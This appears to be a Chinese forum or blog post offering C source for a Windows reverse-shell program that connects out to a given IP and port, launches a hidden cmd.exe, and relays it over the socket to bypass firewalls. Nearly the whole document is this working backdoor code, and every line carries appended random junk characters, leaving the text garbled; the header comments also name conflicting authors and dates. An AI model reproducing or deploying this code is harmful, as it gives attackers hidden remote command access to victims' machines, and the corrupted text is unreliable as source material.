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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +3(1QgYM%  
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/* ============================== ^^qB=N[';  
Rebound port in Windows NT ,q]W i#  
By wind,2006/7 l23_K7  
===============================*/ 1l"A7 V  
#include xVao3+r  
#include c6:"5};_  
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#pragma comment(lib,"wsock32.lib") NX4!G>v  
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void OutputShell(); Hc ]/0:  
SOCKET sClient; w*Vf{[a'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H-K,Q%;C@  
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void main(int argc,char **argv) BSY2\AL p  
{ Dt0S"`^=k  
WSADATA stWsaData; }nvH Eo  
int nRet; 5 P9hm[  
SOCKADDR_IN stSaiClient,stSaiServer; (30{:o&^  
<.s=)}'`P  
if(argc != 3) 9[N+x2q  
{ {w$1_GU  
printf("Useage:\n\rRebound DestIP DestPort\n"); jhr{JApbJv  
return; t,4q]Jt  
} *z!!zRh3x  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -9Wx;u4]o  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6UXa 5t  
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stSaiClient.sin_family = AF_INET; Ad xCP\S&  
stSaiClient.sin_port = htons(0); e; 5 n.+m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WX&Man!f  
* xdS<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -yHVydu=  
{ 6?b 9~xRW  
printf("Bind Socket Failed!\n"); |#q5#@,  
return; -h%;L5oJ2,  
} oqH811  
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stSaiServer.sin_family = AF_INET; +/y 3]}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H)(@A W+-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F/sXr(7  
dtw1Am#Ci  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /bv `_ >  
{ s,XKl5'+8e  
printf("Connect Error!"); -&I%=0q  
return; s7e)Mt  
} uF_gfjR[m  
OutputShell(); Y4e64`V)  
} &@u;xc| v  
Q]9H9?}N?  
void OutputShell() xq+$Q:f  
{ vU0j!XqE  
char szBuff[1024]; c-.t8X,5(~  
SECURITY_ATTRIBUTES stSecurityAttributes; I9O!CQCTt  
OSVERSIONINFO stOsversionInfo; h$.y)v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kKFmTo   
STARTUPINFO stStartupInfo; ":EfR`A#  
char *szShell; p!BZTwP  
PROCESS_INFORMATION stProcessInformation; ]`)50\pdw  
unsigned long lBytesRead; NPc]/n?vDj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hn\<'|n  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6<jh0=$  
stSecurityAttributes.lpSecurityDescriptor = 0; `p1szZD&  
stSecurityAttributes.bInheritHandle = TRUE; c'B6E1}sx  
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rt)70=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v J9Uw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sN0S~}F+  
+X6x CE  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %>B?WR\yE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g((glr)6M  
stStartupInfo.wShowWindow = SW_HIDE; +ptVAg+  
stStartupInfo.hStdInput = hReadPipe; Wh6jr=>G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p.^glz>B  
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GetVersionEx(&stOsversionInfo); H1X38  
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switch(stOsversionInfo.dwPlatformId) ^Uss?)jN4  
{ I@IZ1 /J,r  
case 1: 4#Wczk-b  
szShell = "command.com"; !wy Qk  
break; % B+W#Q`  
default: 5VI c  
szShell = "cmd.exe"; FG]xn(E  
break; ,>%2`Z)  
} IGz92&y  
({JXv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W FVx7  
*ub]M3O  
send(sClient,szMsg,77,0); Ojqbj0E9  
while(1) Au Ib>@a  
{ 8q9HQ4dsL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |"h# Q[3  
if(lBytesRead) 6UK{0\0  
{ |hBX"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U6^x(2De  
send(sClient,szBuff,lBytesRead,0); 9}p>='  
} LV|ZZ.d h  
else GPBp.$q+B  
{ Ibt~e4f  
lBytesRead=recv(sClient,szBuff,1024,0); G"w ?{W @  
if(lBytesRead<=0) break; k L\;90  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R gY-fc0  
} w#]> Nf  
} i#Tm] ++  
sb"z=4  
return; wh4ik`S 1  
}
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